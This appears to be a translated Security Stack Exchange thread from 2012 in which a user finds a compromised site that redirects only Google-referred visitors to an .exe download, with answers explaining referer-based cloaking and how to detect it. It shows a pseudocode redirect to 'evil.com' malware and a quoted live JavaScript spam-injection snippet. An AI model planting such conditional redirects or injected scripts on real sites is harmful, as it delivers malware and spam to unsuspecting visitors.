Servidor comprometido que redirige solo las solicitudes de Google

Question

Servidor comprometido que redirige solo las solicitudes de Google

#1 de D.W. (2 votos)
#2 de sfx (1 votos)

5

Encontré algo muy sospechoso. Cuando se conecta a www.pulseexpress.com siguiendo un enlace de Google, el servidor lo redirige a un sitio muy dudoso que le envía un archivo .exe de inmediato:

# host www.pulseexpress.com
www.pulseexpress.com has address 173.236.189.124

# netcat 173.236.189.124 80
GET / HTTP/1.1
Host: www.pulseexpress.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101
Firefox/10.0.2 Iceweasel/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer:
http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CDEQFjAA&url=http%3A%2F%2Fwww.pulseexpress.com%2F&ei=JfhkT_SuGYf40gG85MW_CA&usg=AFQjCNGlomNN7JWxEG7DUzbJyqnVFYkj7w&sig2=i5xsJPgIs1sbD6gpDzJ7OQ

HTTP/1.1 302 Moved Temporarily
Date: Sat, 17 Mar 2012 20:53:40 GMT
Server: Apache
Location: http://www.fdvrerefrr.ezua.com/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html

Sin embargo, si ingresa la dirección directamente en su navegador, el contenido se sirve normalmente:

# netcat 173.236.189.124 80
GET / HTTP/1.1
Host: www.pulseexpress.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101
Firefox/10.0.2 Iceweasel/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive

HTTP/1.1 200 OK
Date: Sat, 17 Mar 2012 20:53:51 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Set-Cookie: e7c55e1c7796b5e5c04e0c55afd862ea=e427sf2eh4t11jno5c4pvaal40;
path=/
Set-Cookie: virtuemart=e427sf2eh4t11jno5c4pvaal40
Set-Cookie: ja_purity_tpl=ja_purity; expires=Thu, 07-Mar-2013 20:53:53
GMT; path=/
Last-Modified: Sat, 17 Mar 2012 20:53:53 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4428
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
[...]

Para mí, esto parece que el servidor ha sido comprometido. Además, el ataque parece no haber sido trivial, ya que la configuración de Apache se debe haber modificado de tal manera que solo se redirigen algunas solicitudes, probablemente para hacer que sea menos probable que el propietario note el problema.

¿La gente está de acuerdo con ese análisis?

¿Es esta técnica de redirección condicional algo nuevo y está hecha a mano, o es un procedimiento de rutina incluido en las suites de software de ataque estándar?

exploit webserver

pregunta Nikratio 17.03.2012 - 22:04

fuente

2 respuestas

1

Esto sucede con bastante frecuencia y es fácil de configurar.

If referer contains 'google':
redirect to 'evil.com/steal_all_your_private_stuff.exe'

Lo hacen de esta manera para ocultar el hecho de que el servidor ha sido comprometido.

Un primer intento de detectar dicha puerta trasera sería grep google -irn /var/www/

respondido por el sfx 17.03.2012 - 23:02

fuente

Lea otras preguntas en las etiquetas exploit webserver

¿Qué está haciendo este punto de acceso a mi tráfico? Pruebas de penetración de aplicaciones web

score 2 · Accepted Answer

La respuesta corta. Sí, este tipo de redirección condicional basada en el referente es una rutina.

Detalles. Normalmente he visto esto implementado al poner algo de Javascript en la página para verificar el document.referrer . No lo había visto implementado anteriormente en la configuración del servidor Apache, pero esta es una evolución natural de la práctica existente, por lo que no me sorprende demasiado.

Más información. SANS tiene un excelente artículo sobre el tema y sobre cómo protegerse. Una sugerencia es configurar una búsqueda permanente en Google, limitada a su sitio ( site:yoursite.com ) y enumerar algunas palabras clave que los atacantes podrían introducir, y ver si detecta algo. Eso no habría detectado el ataque particular que mencionas, pero ayudaría con los ataques relacionados. Consulte el artículo para una sugerencia de alerta de Google que puede usar.

Reportar sitios maliciosos. Para futuras referencias, puede reportar sitios web maliciosos / comprometidos a Google y Microsoft a través de varios formularios web en línea , para proteger a otros usuarios que intenten navegar por esos sitios en el futuro. Me tomé la libertad de informar ambos sitios a Google, pero es posible que también desee hacer lo mismo, e informar a Microsoft también si usa IE. Parece que ya no puedo descargar el archivo .exe, pero si guardó el archivo .exe, también puede reportarlo en línea a varios proveedores de antivirus .

Ejemplo de código de explotación. Por ejemplo, aquí hay un fragmento de ejemplo de un sitio web comprometido (código real en vivo, no creado):

<script type="text/javascript">
if(document.referrer.toUpperCase().indexOf("CIALIS") != -1)
{
    document.getElementById('hMenu').innerHTML = "<h1
    align=\"center\">Cialis 10mg</h1> [...] ";
}
</script>

En su caso, el ataque parece llevarse a cabo comprometiendo la configuración o la instalación de Apache en lugar de insertar Javascript en la página, pero pensé que podría encontrar esto interesante de todos modos.